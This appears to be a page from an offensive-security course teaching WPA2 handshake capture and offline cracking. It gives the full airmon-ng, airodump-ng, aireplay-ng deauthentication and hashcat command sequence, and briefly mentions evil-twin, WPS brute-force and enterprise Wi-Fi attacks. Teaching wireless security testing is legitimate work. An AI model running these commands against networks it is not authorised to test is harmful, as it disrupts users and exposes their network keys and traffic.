Advanced Offensive Security

Wireless Network Attacks

Capture WPA2 handshakes, crack them, and understand evil-twin attacks.

Advanced · 14 min

Open the interactive lesson →

Wi-Fi extends the attack surface beyond the wire. With a monitor-mode adapter you can capture the WPA2 4-way handshake and crack the pre-shared key offline, or trick clients into connecting to a rogue access point.

1. Put the adapter into monitor mode (airmon-ng start wlan0).
2. Discover networks and clients (airodump-ng).
3. Deauthenticate a client to force it to reconnect (aireplay-ng).
4. Capture the 4-way handshake that reconnection produces.
5. Crack the handshake offline against a wordlist (hashcat -m 22000).

airmon-ng start wlan0
airodump-ng wlan0mon                       # find target BSSID/channel
airodump-ng -c 6 --bssid AA:BB:.. -w cap wlan0mon
aireplay-ng --deauth 5 -a AA:BB:.. wlan0mon # force handshake
hashcat -m 22000 cap.hc22000 rockyou.txt

• Evil Twin — a rogue AP mimicking a real SSID to capture credentials or MITM traffic.
• WPS attacks — weak WPS PINs can be brute-forced (reaver).
• Enterprise Wi-Fi (WPA2-EAP) — has its own credential-relay attacks.

Take the quiz →